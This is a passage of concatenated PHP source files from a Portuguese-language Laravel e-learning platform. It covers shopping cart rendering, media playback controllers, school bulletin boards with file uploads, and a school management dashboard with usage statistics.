#212529;text-align: inherit;white-space: nowrap;background-color: transparent;border: 0;flex-direction: row;display: flex; max-height: 90px; align-items: center;">'; if($produto->tipo == 2 && $produto->curso != null) { $html = $html . '<div class="" style="background-image: url(' . env('APP_LOCAL') . '/uploads/cursos/capas/' . $produto->curso->capa . ');background-size: cover; background-position: 50% 50%; background-repeat: no-repeat; width: 60px; height: 60px; margin-right: 10px; display: inline-block; vertical-align: middle;"> </div>'; } $html = $html . ' <div> <b style="max-width: 200px;white-space: normal; overflow: hidden;" class="pl-2 mb-0"> ' . ucfirst($produto->titulo) . ' </b> <p class="small pl-2 mb-0">' . ucfirst($produto->descricao) . '</p> <p style="" class="pl-2 mb-0"> R$ ' . number_format($produto->preco, 2, ',', '.') . ($produto->quantidade >= 2 ? ' (' . $produto->quantidade . 'x)' : '') . ' </p> </div> <a class="text-primary ml-auto" href="' . route('carrinho.remover', ['idProduto' => $produto->id, 'return' => Request::url()]) .'" style="align-self: flex-start; justify-self: flex-end;"><i class="fa fa-times fa-fw fa-sm" aria-hidden="true"></i></a> '; $html = $html . '</div>'; } $html = $html . '<div class="dropdown-item px-3 py-3" style="color: #60748A;min-width: 340px;border-bottom: 2px solid #E3E5F0;"> <h5> <span class="text-lightgray">Total: </span> R$ ' . number_format($total, 2, ',', '.') . ' </h5> ' . (Request::is('carrinho') == false ? '<a href="' . route('carrinho.index') . '" class="btn btn-primary btn-block text-center">Ir para o carrinho</a>' : '') . ' </div>'; } else { $html = ' <div class="dropdown-item px-4 py-3" style="color: #60748A;min-width: 340px;border-bottom: 2px solid #E3E5F0;"> Seu carrinho está vazio. </div> '; } return $html; } public static function linkfy($text) { $url = '~(?:(https?)://([^\s<]+)|(www\.[^\s<]+?\.[^\s<]+))(?<![\.,:])~i'; $string = preg_replace($url, '<a href="$0" target="_blank" title="$0">$0</a>', $text); return $string; } } <file_sep>/app/Entities/HabilidadeUsuario/Api/Repository.php <?php namespace App\Entities\HabilidadeUsuario\Api; use App\Entities\HabilidadeUsuario\HabilidadeUsuario; class Repository { private $habilidadeUsuario; public function __construct(HabilidadeUsuario $habilidadeUsuario) { $this->habilidadeUsuario = $habilidadeUsuario; } public function store($values) { return $this->habilidadeUsuario->create($values); } }<file_sep>/app/Http/Controllers/ConteudoController.php <?php namespace App\Http\Controllers; use App\Entities\Historico\Historico; use Illuminate\Http\Request; use Illuminate\Support\Facades\Input; use Illuminate\Support\Facades\Storage; use Auth; use Redirect; use Session; use Carbon\Carbon; use App\Escola; use App\Categoria; use App\Conteudo; use App\ConteudoAula; use App\ProgressoConteudo; use App\InteracaoConteudo; use App\AvaliacaoConteudo; use App\AvaliacaoInstrutor; use App\Metrica; class ConteudoController extends Controller { function playConteudo($idConteudo, Request $request) { if (Conteudo::find($idConteudo)) { $conteudo = Conteudo::find($idConteudo); } else { return Redirect::back()->withErrors(['Conteúdo não encontrado!']); } // Histórico if (Historico::where([ ['user_id', Auth::user()->id], ['referencia_id', $idConteudo], ['tipo', 2], ['created_at', '>', (Carbon::now()->subMinutes(15))]]) ->exists() == false) { Historico::create([ 'user_id' => Auth::user()->id, 'referencia_id' => $idConteudo, 'tipo' => 2 ]); } if ($conteudo->status != 1) { if (Auth::check() ? (strtolower(Auth::user()->permissao) != "z" && $conteudo->user_id != Auth::user()->id) : true) { return Redirect::back()->withErrors(['Conteúdo não encontrado!']); } else { Session::flash('previewMode', true); } } if ($conteudo->tipo == 2) { if (strpos($conteudo->conteudo, "soundcloud.com") !== false) { $conteudo->conteudo = '<iframe width="100%" height="166" scrolling="no" frameborder="no" allow="autoplay" src="https://w.soundcloud.com/player/?url=' . $conteudo->conteudo . '&color=%236766a6&auto_play=false&hide_related=false&show_comments=true&show_user=true&show_reposts=false&show_teaser=true"></iframe>'; } elseif (strpos($conteudo->conteudo, "http") !== false || strpos($conteudo->conteudo, "www") !== false) { $conteudo->conteudo = '<audio controls style="width: 100%;"> <source src="' . $conteudo->conteudo . '" type="audio/mp3"> Your browser does not support the audio element. </audio>'; } else { $conteudo->conteudo = '<audio controls style="width: 100%;"> <source src="' . route('conteudo.play.get-arquivo', ['idConteudo' => $idConteudo]) . '" type="audio/mp3"> Your browser does not support the audio element. </audio>'; } } else if ($conteudo->tipo == 3) { if (strpos($conteudo->conteudo, "youtube") !== false || strpos($conteudo->conteudo, "youtu.be") !== false) { if (strpos($conteudo->conteudo, "youtu.be") !== false) { $conteudo->conteudo = str_replace("youtu.be", "youtube.com", $conteudo->conteudo); } $conteudo->conteudo = str_replace("/watch?v=", "/embed/", $conteudo->conteudo); if (strpos($conteudo->conteudo, "&") !== false) { $conteudo->conteudo = substr($conteudo->conteudo, 0, strpos($conteudo->conteudo, "&")); } $conteudo->conteudo = '<iframe src="' . $conteudo->conteudo . '" style="width: 100%; height: 41vw;" frameborder="0" allow="autoplay; encrypted-media" allowfullscreen> </iframe>'; } elseif (strpos($conteudo->conteudo, "vimeo") !== false) { if (strpos($conteudo->conteudo, "player.vimeo.com") === false) $conteudo->conteudo = str_replace("vimeo.com/", "player.vimeo.com/video/", $conteudo->conteudo); $conteudo->conteudo = '<iframe src="' . $conteudo->conteudo . '" style="width: 100%; height: 41vw;" frameborder="0" webkitallowfullscreen mozallowfullscreen allowfullscreen> </iframe>'; } else { $conteudo->conteudo = '<video controls style="width: 100%; height: 41vw;"> <source src="' . route('conteudo.play.get-arquivo', ['idConteudo' => $idConteudo]) . '" type="video/mp4"> Your browser does not support the audio element. </video>'; } } else if ($conteudo->tipo == 4) { if(strpos($conteudo->conteudo, "http") === false && strpos($conteudo->conteudo, "www") === false) { $url_conteudo = route('conteudo.play.get-arquivo', ['idConteudo' => $idConteudo]); } else { $url_conteudo = $conteudo->conteudo; } if (strpos($conteudo->conteudo, ".ppt") !== false || strpos($conteudo->conteudo, ".pptx") !== false) { $conteudo->conteudo = '<iframe src="https://view.officeapps.live.com/op/view.aspx?src=' . $url_conteudo . '" style="width: 100%; height: 41vw;" frameborder="0" allow="autoplay; encrypted-media" allowfullscreen> </iframe>'; } elseif (strpos($conteudo->conteudo, ".html") !== false) { $conteudo->conteudo = '<iframe src="' . $url_conteudo . '" style="width: 100%; height: 41vw;" frameborder="0" allow="autoplay; encrypted-media" allowfullscreen> </iframe>'; } elseif (strpos($conteudo->conteudo, "drive.google.com/file") !== false) { if (strpos($conteudo->conteudo, "/view") !== false) { $url_conteudo = str_replace("/view", "/preview", $url_conteudo); } $conteudo->conteudo = '<iframe src="' . $url_conteudo . '" style="width: 100%; height: 41vw;" frameborder="0" allow="autoplay; encrypted-media" allowfullscreen> </iframe>'; } else { $conteudo->conteudo = '<object data="' . $url_conteudo . '" type="application/pdf" style="width: 100%; height: 41vw;"> </object>'; } } else if ($conteudo->tipo == 11) { $url_apostila = env("APP_LOCAL") . '/uploads/apostilas/' . $conteudo->id; $conteudo->conteudo = '<iframe src="' . env("APP_LOCAL") . '/leitor_apostila/' . $conteudo->id . '?conteudo_id=' . $conteudo->id . '&url=' . $url_apostila . '" style="width: 100%; height: 115vh;" frameborder="0" allow="autoplay; encrypted-media" allowfullscreen> </iframe>'; } $conteudo->qtAvaliacoesPositivas = AvaliacaoConteudo::where([['avaliacao', '=', '1'], ['conteudo_id', '=', $idConteudo]])->count(); $conteudo->qtAvaliacoesNegativas = AvaliacaoConteudo::where([['avaliacao', '=', '0'], ['conteudo_id', '=', $idConteudo]])->count(); $conteudo->minhaAvaliacao = AvaliacaoConteudo::where([['user_id', '=', Auth::user()->id], ['conteudo_id', '=', $idConteudo]])->first(); if (!ProgressoConteudo::where([['conteudo_id', '=', $idConteudo], ['tipo', '=', 2], ['user_id', '=', Auth::user()->id]])->exists()) { ProgressoConteudo::create([ 'conteudo_id' => $idConteudo, 'tipo' => 2, 'user_id' => Auth::user()->id ]); } return view('play.conteudo')->with(compact('conteudo')); } function playGetArquivo($idConteudo) { if (Conteudo::where([['id', '=', $idConteudo]])->first() != null) { $conteudo = Conteudo::where([['id', '=', $idConteudo]])->first(); if (strpos($conteudo->conteudo, ".ppt") === false && strpos($conteudo->conteudo, ".html") === false) { if (!Auth::check()) { return response()->json(['error' => 'Usuário não autenticado!']); } } $idCurso = ConteudoAula::where([['conteudo_id', '=', $idConteudo]])->first() != null ? ConteudoAula::where([['conteudo_id', '=', $idConteudo]])->first()->curso_id : null; // dd($idCurso); if (\Storage::disk('local')->has('uploads/conteudos/' . $conteudo->conteudo)) { return \Storage::disk('local')->response('uploads/conteudos/' . $conteudo->conteudo); } else if(\Storage::disk('local')->has('uploads/cursos/' . $idCurso . '/arquivos/' . $conteudo->conteudo) && $idCurso != null) { $filePath = 'uploads/cursos/' . $idCurso . '/arquivos/' . $conteudo->conteudo; return \Storage::disk('local')->response($filePath); } else { return $conteudo->conteudo; } } else { return response()->view('errors.404'); } } public function postEnviarAvaliacaoConteudo($idConteudo, Request $request) { if (Conteudo::where([['id', '=', $idConteudo]])->first() != null) { AvaliacaoConteudo::updateOrCreate( [ 'user_id' => Auth::user()->id, 'conteudo_id' => $idConteudo, ], ['avaliacao' => $request->avaliacao] ); return response()->json(['success' => 'Avaliação enviada com sucesso!']); } else { return response()->json(['error' => 'Conteúdo não encontrado!']); } } public function postEnviarInteracaoConteudo($idConteudo, Request $request) { if (Conteudo::where([['id', '=', $idConteudo]])->first() != null) { InteracaoConteudo::create([ 'conteudo_id' => $idConteudo, 'user_id' => Auth::user()->id, 'tipo' => $request->tipo, 'inicio' => $request->inicio ]); return response()->json(['success' => 'Interação enviada com sucesso!']); } else { return response()->json(['error' => 'Conteúdo não encontrado!']); } } public function postEnviarAvaliacaoProfessor($idInstrutor, Request $request) { if ($request->comentario == null) { $request->comentario = ''; } AvaliacaoInstrutor::updateOrCreate( [ 'user_id' => Auth::user()->id, 'instrutor_id' => $idInstrutor ], ['avaliacao' => $request->avaliacao, 'descricao' => $request->comentario] ); return response()->json(['success' => 'Avaliação enviada com sucesso!']); } } <file_sep>/app/Http/Controllers/EscolaController.php <?php namespace App\Http\Controllers; use Illuminate\Http\Request; use Illuminate\Support\Facades\Input; use Auth; use Redirect; use Session; use App\User; use App\Escola; use App\Turma; use App\AlunoTurma; use App\Aplicacao; use App\Conteudo; use App\Metrica; use App\AvaliacaoConteudo; use App\AvaliacaoInstrutor; use App\InteracaoConteudo; use App\ProgressoConteudo; use App\LiberacaoAplicacaoEscola; use App\CodigoAcessoEscola; use App\PostagemEscola; use App\ComentarioPostagemEscola; use App\PostagemGestaoEscola; use App\ComentarioPostagemGestaoEscola; use App\CodigoTransmissao; class EscolaController extends Controller { // // Mural de gestao da escola // public function muralGestaoEscola($escola_id) { if (Input::get('qt') == null) { $amount = 10; } else { $amount = Input::get('qt'); } if (Escola::find($escola_id) == null) { return Redirect::back()->withErrors(['Escola não encontrada!']); } else { $escola = Escola::with('postagens_gestao', 'postagens_gestao_comentarios')->find($escola_id); if (strpos(Auth::user()->permissao, "G") === false && strpos(Auth::user()->permissao, "Z") === false && $escola->user_id != Auth::user()->id && Auth::user()->escola_id != $escola_id) { Session::flash('error', 'Você não faz parte desta escola!'); return redirect()->route('catalogo'); } $usuarios = User::where([['escola_id', '=', $escola_id], ['permissao', '!=', 'A']])->paginate($amount); // dd($escola); return view('gestao.gestao-escola-mural')->with(compact('escola', 'usuarios', 'amount')); } } public function postarMuralGestaoEscola($escola_id, Request $request) { if (Escola::find($escola_id) == null) { Redirect::back()->withErrors(['Escola não encontrada!']); } else { $postagem = PostagemGestaoEscola::create([ 'escola_id' => $escola_id, 'user_id' => Auth::user()->id, 'conteudo' => $request->conteudo ]); if ($request->arquivo != null) { $originalName = mb_strtolower($request->arquivo->getClientOriginalName(), 'utf-8'); $fileExtension = \File::extension($request->arquivo->getClientOriginalName()); $newFileNameArquivo = md5($request->arquivo->getClientOriginalName() . date("Y-m-d H:i:s") . time()) . '.' . $fileExtension; $pathArquivo = $request->arquivo->storeAs('uploads/escolas/' . $escola_id . '/arquivos', $newFileNameArquivo, 'local'); if (!\Storage::disk('local')->put($pathArquivo, file_get_contents($request->arquivo))) { \Session::flash('error', 'Não foi possível fazer upload de seu anexo!'); } else { $postagem->update([ 'arquivo' => $newFileNameArquivo ]); } } return Redirect::back()->with('message', 'Postagem enviada com sucesso!'); } } public function postExcluirPostagemGestao($escola_id, $idPostagem) { if (PostagemGestaoEscola::find($idPostagem) != null) { if (\Storage::disk('local')->has('uploads/escolas/' . $escola_id . '/arquivos/' . PostagemGestaoEscola::find($idPostagem)->arquivo)) { \Storage::disk('local')->delete('uploads/escolas/' . $escola_id . '/arquivos/' . PostagemGestaoEscola::find($idPostagem)->arquivo); } PostagemGestaoEscola::find($idPostagem)->delete(); return Redirect::back()->with('message', 'Postagem excluída com sucesso!'); } else { return Redirect::back()->withErrors(['Postagem não encontrada!']); } } public function postEnviarComentarioPostagemGestao($escola_id, $idPostagem, Request $request) { if (Escola::find($escola_id) == null) { Redirect::back()->withErrors(['Escola não encontrada!']); } else if (PostagemGestaoEscola::find($idPostagem) == null) { Redirect::back()->withErrors(['Postagem não encontrada!']); } else { $comentario = ComentarioPostagemGestaoEscola::create([ 'postagem_id' => $idPostagem, 'user_id' => Auth::user()->id, 'conteudo' => $request->conteudo ]); return Redirect::back()->with('message', 'Comentário enviado com sucesso!'); } } public function postExcluirComentarioPostagemGestao($escola_id, $idPostagem, $idComentario) { if (ComentarioPostagemGestaoEscola::find($idPostagem) == null) { return Redirect::back()->withErrors(['Comentário não encontrado!']); } else { ComentarioPostagemGestaoEscola::find($idPostagem)->delete(); return Redirect::back()->with('message', 'Comentário excluído com sucesso!'); } } public function getArquivoGestao($escola_id, $postagem_id) { if (Escola::find($escola_id) == null) { Session::flash('error', 'Escola não encontrada!'); return redirect()->route('catalogo'); } else { if (PostagemGestaoEscola::find($postagem_id) == null) { Session::flash('error', 'Postagem não encontrada!'); return redirect()->route('catalogo'); } else { $postagem = PostagemGestaoEscola::find($postagem_id); if (\Storage::disk('local')->has('uploads/escolas/' . $escola_id . '/arquivos/' . $postagem->arquivo)) { return \Storage::disk('local')->download('uploads/escolas/' . $escola_id . '/arquivos/' . $postagem->arquivo); } else { Session::flash('error', 'Arquivo não encontrado!'); return redirect()->route('catalogo'); } } } } // // Mural da escola para alunos // public function muralEscola($escola_id) { if (Input::get('qt') == null) { $amount = 10; } else { $amount = Input::get('qt'); } if (Escola::find($escola_id) == null) { return Redirect::back()->withErrors(['Escola não encontrada!']); } else { $escola = Escola::with('postagens_comentarios')->find($escola_id); if (strpos(Auth::user()->permissao, "G") === false && strpos(Auth::user()->permissao, "Z") === false && $escola->user_id != Auth::user()->id && Auth::user()->escola_id != $escola_id) { Session::flash('error', 'Você não faz parte desta escola!'); return redirect()->route('catalogo'); } $alunos = User::where('escola_id', '=', $escola_id)->paginate($amount); $aplicacoes = Aplicacao::all(); $conteudos = Conteudo::all(); $transmissoes = CodigoTransmissao::with('aplicacao', 'conteudo')->where([['user_id', '=', $escola->user_id]])->get(); // dd($escola); return view('gestao.escola-mural')->with(compact('aplicacoes', 'conteudos', 'transmissoes', 'escola', 'alunos', 'amount')); } } public function postarMuralEscola($escola_id, Request $request) { if (Escola::find($escola_id) == null) { Redirect::back()->withErrors(['Escola não encontrada!']); } else { $postagem = PostagemEscola::create([ 'escola_id' => $escola_id, 'user_id' => Auth::user()->id, 'conteudo' => $request->conteudo ]); if ($request->arquivo != null) { $originalName = mb_strtolower($request->arquivo->getClientOriginalName(), 'utf-8'); $fileExtension = \File::extension($request->arquivo->getClientOriginalName()); $newFileNameArquivo = md5($request->arquivo->getClientOriginalName() . date("Y-m-d H:i:s") . time()) . '.' . $fileExtension; $pathArquivo = $request->arquivo->storeAs('uploads/escolas/' . $escola_id . '/arquivos', $newFileNameArquivo, 'local'); if (!\Storage::disk('local')->put($pathArquivo, file_get_contents($request->arquivo))) { \Session::flash('error', 'Não foi possível fazer upload de seu anexo!'); } else { $postagem->update([ 'arquivo' => $newFileNameArquivo ]); } } return Redirect::back()->with('message', 'Postagem enviada com sucesso!'); } } public function postExcluirPostagem($escola_id, $idPostagem) { if (PostagemEscola::find($idPostagem) != null) { if (\Storage::disk('local')->has('uploads/escolas/' . $escola_id . '/arquivos/' . PostagemEscola::find($idPostagem)->arquivo)) { \Storage::disk('local')->delete('uploads/escolas/' . $escola_id . '/arquivos/' . PostagemEscola::find($idPostagem)->arquivo); } PostagemEscola::find($idPostagem)->delete(); return Redirect::back()->with('message', 'Postagem excluída com sucesso!'); } else { return Redirect::back()->withErrors(['Postagem não encontrada!']); } } public function postEnviarComentarioPostagem($escola_id, $idPostagem, Request $request) { if (Escola::find($escola_id) == null) { Redirect::back()->withErrors(['Escola não encontrada!']); } else if (PostagemEscola::find($idPostagem) == null) { Redirect::back()->withErrors(['Postagem não encontrada!']); } else { $comentario = ComentarioPostagemEscola::create([ 'postagem_id' => $idPostagem, 'user_id' => Auth::user()->id, 'conteudo' => $request->conteudo ]); return Redirect::back()->with('message', 'Comentário enviado com sucesso!'); } } public function postExcluirComentarioPostagem($escola_id, $idPostagem, $idComentario) { if (ComentarioPostagemEscola::find($idPostagem) == null) { return Redirect::back()->withErrors(['Comentário não encontrado!']); } else { ComentarioPostagemEscola::find($idPostagem)->delete(); return Redirect::back()->with('message', 'Comentário excluído com sucesso!'); } } public function getArquivo($escola_id, $postagem_id) { if (Escola::find($escola_id) == null) { Session::flash('error', 'Escola não encontrada!'); return redirect()->route('catalogo'); } else { if (PostagemEscola::find($postagem_id) == null) { Session::flash('error', 'Postagem não encontrada!'); return redirect()->route('catalogo'); } else { $postagem = PostagemEscola::find($postagem_id); if (\Storage::disk('local')->has('uploads/escolas/' . $escola_id . '/arquivos/' . $postagem->arquivo)) { return \Storage::disk('local')->download('uploads/escolas/' . $escola_id . '/arquivos/' . $postagem->arquivo); } else { Session::flash('error', 'Arquivo não encontrado!'); return redirect()->route('catalogo'); } } } } public function modoPostagem($escola_id, Request $request) { if (Escola::find($escola_id) == null) { return response()->json(['error' => 'Escola não encontrada!']); } else { if ($request->postagem_aberta === "true" || $request->postagem_aberta === true) { Escola::find($escola_id)->update([ 'postagem_aberta' => 1 ]); } else { Escola::find($escola_id)->update([ 'postagem_aberta' => 0 ]); } return response()->json(['success' => 'Modo de postagem da escola modificado com sucesso!']); } } // Gestao de escolas public function escolas() { if(Input::get('qt') == null) $amount = 10; else $amount = Input::get('qt'); if(Input::get('ordem') == null) $ordem = "recentes"; else $ordem = Input::get('ordem'); if(Input::get('categoria') == null) $categoria = ""; elseif(Input::get('categoria') == "geral") $categoria = ""; else $categoria = Input::get('categoria'); if($categoria != null) { if(Categoria::where('titulo', '=', $categoria)->first() != null) { $categoria = Categoria::where('titulo', '=', $categoria)->first()->id; } } $escolas = Escola::paginate($amount); foreach ($escolas as $escola) { $escola->qt_alunos = User::where([['permissao', '=', 'A'], ['escola_id', '=', $escola->id]])->count(); } return view('gestao.crm.escolas')->with( compact('escolas', 'amount', 'ordem') ); } public function criarEscola() { return view('criar-escola'); } public function postCriarEscola(Request $request) { // dd($request); if($request->descricao == null) { $request->descricao = ""; } $escola = Escola::create([ 'user_id' => Auth::user()->id, 'titulo' => $request->titulo, 'descricao' => $request->descricao ]); if($request->capa !=null) { $fileExtension = \File::extension($request->capa->getClientOriginalName()); $newFileNameCapa = md5( $request->capa->getClientOriginalName() . date("Y-m-d H:i:s") . time() ) . '.' . $fileExtension; $pathCapa = $request->capa->storeAs('escolas/capas', $newFileNameCapa, 'public_uploads'); if(!\Storage::disk('public_uploads')->put($pathCapa, file_get_contents($request->capa)) ) { \Session::flash('error', 'Ops! Não foi possivel enviar a capa.'); } else { $escola->capa = $newFileNameCapa; $escola->save(); } } Session::flash("message", 'Escola criada com sucesso!'); return redirect()->route('gestao.escolas'); } public function getEscola($escola_id) { $escola = Escola::find($escola_id); if($escola != null) { return response()->json(['success'=> 'Escola encontrada.', 'escola' => $escola]); } else { return response()->json(['error' => 'Escola não encontrada!']); } } public function postSalvarEscola(Request $request) { if(Escola::where([['id', '=', $request->escola_id]])->exists() != false) { $escola = Escola::where([['id', '=', $request->escola_id]])->first(); $escola->update([ 'titulo' => $request->titulo, 'descricao' => $request->descricao, 'limite_alunos' => $request->limite_alunos, 'nome_completo' => $request->nome_completo, 'cnpj' => $request->cnpj, 'nome_responsavel' => $request->nome_responsavel, 'email_responsavel' => $request->email_responsavel, 'telefone_responsavel' => $request->telefone_responsavel, ]); Session::flash("message", 'Escola atualizada com sucesso!'); } else { return redirect()->back()->withErrors("Escola não encontrada!"); } return redirect()->back(); } public function postExcluirEscola(Request $request) { if(Escola::find($request->idEscola) != null) { if(\Storage::disk('public_uploads')->has('escolas/capas/' . Escola::find($request->idEscola)->capa)) { \Storage::disk('public_uploads')->delete('escolas/capas/' . Escola::find($request->idEscola)->capa); } Escola::find($request->idEscola)->delete(); Session::flash("message", 'Escola excluída com sucesso!'); } else { return redirect()->back()->withErrors("Escola não encontrada!"); } return redirect()->back(); } public function painelEscola($escola_id) { $escola = Escola::find($escola_id); $userId = Auth::user()->id; if(Input::get('qtAlunos') == null) $amountAlunos = 10; else $amountAlunos = Input::get('qtAlunos'); if(Input::get('qtProfessores') == null) $amountProfessores = 10; else $amountProfessores = Input::get('qtProfessores'); if(Input::get('qtTurmas') == null) $amountTurmas = 10; else $amountTurmas = Input::get('qtTurmas'); $tem_pesquisa = Input::has('pesquisa') ? (Input::get('pesquisa') != null && Input::get('pesquisa') != "") : false; //Relatorios gerais // // Carregar alunos da escola // $alunos = User::query(); $alunos->when($tem_pesquisa, function ($query) { return $query ->where('name', 'like', '%' . Input::get('pesquisa') . '%') ->orWhere('email', 'like', '%' . Input::get('pesquisa') . '%'); }); $alunos = $alunos ->with('turmas_aluno') ->where([['escola_id', '=', $escola_id], ['permissao', '=', 'A']]) ->paginate($amountAlunos); // // Carregar professores da escola // $professores = User::query(); $professores->when($tem_pesquisa, function ($query) { return $query ->where('name', 'like', '%' . Input::get('pesquisa') . '%') ->orWhere('email', 'like', '%' . Input::get('pesquisa') . '%'); }); $professores = $professores ->with('turmas_instrutor') ->where([['escola_id', '=', $escola_id], ['permissao', '=', 'P']]) ->paginate($amountProfessores); // // Carregar gestores da escola // $gestores = User::query(); $gestores->when($tem_pesquisa, function ($query) { return $query ->where('name', 'like', '%' . Input::get('pesquisa') . '%') ->orWhere('email', 'like', '%' . Input::get('pesquisa') . '%'); }); $gestores = $gestores ->where([['escola_id', '=', $escola_id], ['permissao', '=', 'G']]) ->get(); foreach($alunos as $aluno) { if(ProgressoConteudo::where('user_id', '=', $aluno->id)->count() > 0) $aluno->desempenho = ProgressoConteudo::where('user_id', '=', $aluno->id)->avg('progresso'); else $aluno->desempenho = 0; } foreach ($professores as $professor) { if(AvaliacaoInstrutor::where('instrutor_id', '=', $professor->id)->count() > 0) { $professor->avaliacao = AvaliacaoInstrutor::where('instrutor_id', '=', $professor->id)->avg('avaliacao'); } else { $professor->avaliacao = 5; } } $turmas = Turma::with('professor')->whereHas('professor', function($q) use ($escola_id) { $q->where('escola_id', '=', $escola_id); })->paginate($amountTurmas); foreach($turmas as $turma) { $turma->qt_alunos = AlunoTurma::where([['turma_id', '=', $turma->id]])->count(); } $totalAlunos = count($alunos); $totalProfessores = count($professores); $totalGestores = count($gestores); $totalTurmas = count($turmas); $mediaAlunosConectados = [0, 0, 0, 0, 0]; $nivelAprendizado = [0, 0, 0, 0, 0, 0]; foreach (User::all() as $user) { $user->acessos = Metrica:: where([['titulo', '=', 'Acesso na plataforma'], ['user_id', '=', $user->id]]) ->whereHas('user', function ($q) use ($escola_id) { $q->where('escola_id', '=', $escola_id); }) ->count(); if($user->acessos >= 31) { $mediaAlunosConectados[0] ++; } elseif($user->acessos >= 16 && $user->acessos <= 30) { $mediaAlunosConectados[1] ++; } elseif($user->acessos >= 6 && $user->acessos <= 15) { $mediaAlunosConectados[2] ++; } elseif($user->acessos >= 1 && $user->acessos <= 5) { $mediaAlunosConectados[3] ++; } else { $mediaAlunosConectados[4] ++; } $totalAvaliacoes = AvaliacaoConteudo:: where([['user_id', '=', $user->id]]) ->whereHas('user', function ($q) use ($escola_id) { $q->where('escola_id', '=', $escola_id); }) ->count(); $totalAvaliacoesPositivas = AvaliacaoConteudo:: where([['user_id', '=', $user->id], ['avaliacao', '=', 1]]) ->whereHas('user', function ($q) use ($escola_id) { $q->where('escola_id', '=', $escola_id); }) ->count(); if($totalAvaliacoes == 0) { $nivelAprendizado[5] ++; } else { $percentualAprendizagem = ($totalAvaliacoesPositivas * 100) / $totalAvaliacoes; if($percentualAprendizagem >= 80) { $nivelAprendizado[0] ++; } elseif($percentualAprendizagem >= 60 && $percentualAprendizagem <= 79) { $nivelAprendizado[1] ++; } elseif($percentualAprendizagem >= 40 && $percentualAprendizagem <= 59) { $nivelAprendizado[2] ++; } elseif($percentualAprendizagem >= 20 && $percentualAprendizagem <= 39) { $nivelAprendizado[3] ++; } else//if($percentualAprendizagem >= 0 && $percentualAprendizagem <= 19) { $nivelAprendizado[4] ++; } } } $aplicacoes = Aplicacao::with('progressos_user.user') ->whereHas('user', function ($q) use ($escola_id) { $q->where('escola_id', '=', $escola_id); }) ->get(); $conteudos = Conteudo::with('progressos_user.user') ->whereHas('user', function ($q) use ($escola_id) { $q->where('escola_id', '=', $escola_id); }) ->get(); $videos = $conteudos->filter(function ($c) { return $c->tipo == 3; }); $slides = $conteudos->filter(function ($c) { return ($c->tipo == 4 && (strpos($c->conteudo, ".ppt") !== false || strpos($c->conteudo, ".pptx") !== false)); }); $documentos = $conteudos->filter(function ($c) { return $c->tipo == 1 || ($c->tipo == 4 && (strpos($c->conteudo, ".ppt") == false && strpos($c->conteudo, ".pptx") == false)); }); $apostilas = $conteudos->filter(function ($c) { return $c->tipo == 11; }); // dd($aplicacoes); // dd($conteudos); $totalAplicacoes = count($aplicacoes); $totalConteudos = count($conteudos); $mediaAtividadesCompletas = 0; $somatoria = 0; $total = 0; $participativos = 0; foreach ($aplicacoes as $aplicacao) { foreach ($aplicacao->progressos_user as $progresso) { if($progresso->user['escola_id'] == $escola_id) { if($progresso->progresso > 0) $participativos ++; if($progresso->progresso > 100) $progresso->progresso = 100; $somatoria ++; $total += $progresso->progresso; } } } foreach ($conteudos as $conteudo) { foreach ($conteudo->progressos_user as $progresso) { if($progresso->user['escola_id'] == $escola_id) { if($progresso->progresso > 0) $participativos ++; if($progresso->progresso > 100) $progresso->progresso = 100; $somatoria ++; $total += $progresso->progresso; } } } $totalProgressos = ProgressoConteudo::count(); if($somatoria > 0) { $mediaAtividadesCompletas = number_format($total / $somatoria, 0); if($participativos > 0) { $participacao = number_format( ($participativos * 100) / $participativos, 0); } else { $participacao = 0; } } else { $mediaAtividadesCompletas = 0; $participacao = 0; } // Liberação de aplicações para escola $liberacaoAplicacoesEscola = LiberacaoAplicacaoEscola::where('escola_id', $escola->id)->whereHas('aplicacao')->get(); foreach ($liberacaoAplicacoesEscola as $key => $liberacao) { $liberacao->titulo = ucfirst(Aplicacao::where('id', $liberacao->aplicacao_id)->first()->titulo); } $codigosAcesso = CodigoAcessoEscola::where('escola_id', $escola->id)->get(); return view('gestao.escola-painel')->with(compact('escola', 'codigosAcesso', 'liberacaoAplicacoesEscola', 'totalGestores', 'totalProfessores', 'totalProgressos', 'mediaAtividadesCompletas', 'participacao', 'mediaAlunosConectados', 'nivelAprendizado', 'aplicacoes', 'conteudos', 'videos', 'slides', 'documentos', 'alunos', 'totalAlunos', 'amountAlunos', 'turmas', 'totalTurmas', 'amountTurmas', 'professores', 'amountProfessores', 'gestores')); } public function editarEscola($escola_id) { $escola = Escola::find($escola_id); if($escola == null) { return redirect()->route('gestao.escolas'); } $escola->caracteristicas = json_decode($escola->caracteristicas); return view('gestao.editar-escola')->with( compact('escola') ); } } <file_sep>/app/ConfiguracoesNotificacoesUser.php <?php namespace App; use Illuminate\Database\Eloquent\Model; use Illuminate\Support\Facades\Input; class ConfiguracoesNotificacoesUser extends Model { protected $table = "configuracoes_notificacoes_user"; //Preenchiveis protected $fillable = [ 'user_id', 'rcb_notif_resp_professor', 'rcb_notif_resp_aluno', 'rcb_notif', ]; protected $attributes = [ 'rcb_notif_resp_professor' => true, 'rcb_notif_resp_aluno' => true, 'rcb_notif' => true, ]; protected $casts = [ 'rcb_notif_resp_professor' => 'boolean', 'rcb_notif_resp_aluno' => 'boolean', 'rcb_notif' => 'boolean', ]; public function user() { return $this->belongsTo(User::class, 'user_id'); } } <file_sep>/app/Http/Controllers/DashboardController.php <?php namespace App\Http\Controllers; use Illuminate\Http\Request; use Illuminate\Support\Facades\Input; use App\User; use App\Categoria; use App\HelperClass; use App\Escola; class DashboardController extends Controller { public function usuarios() { if(Input::get('qt') == null) $amount = 10; else $amount = Input::get('qt'); if(Input::get('pesquisa') != null) $pesquisa = Input::get('pesquisa'); if(isset($pesquisa)) { $usuarios = User::PermissaoNamed( User::where('id', 'like', '%' . $pesquisa . '%')-> orWhere('email', 'like', '%' . $pesquisa . '%')-> orWhere('name', 'like', '%' . $pesquisa . '%')-> paginate($amount) ); } else { $usuarios = User::PermissaoNamed(User::paginate($amount)); } $escolas = Escola::orderBy('titulo')->get(); return view('dashboard.usuarios')->with(compact('usuarios', 'escolas', 'amount')); } } <file_sep>/app/Http/Controllers/GradeAula/Alunos/GradeAulaController.php <?php namespace App\Http\Controllers\GradeAula\Alunos; use App\User; use Carbon\Carbon; use Illuminate\Database\Query\Builder; use Illuminate\Http\Request; use App\Http\Controllers\Controller; use Illuminate\Support\Facades\Auth; use App\Entities\GradeAula\GradeAula; use Illuminate\Support\Facades\DB; class GradeAulaController extends Controller { private function getAluno() { return User::find(Auth::user()->id); } private function getTurmas() { return $turmas = 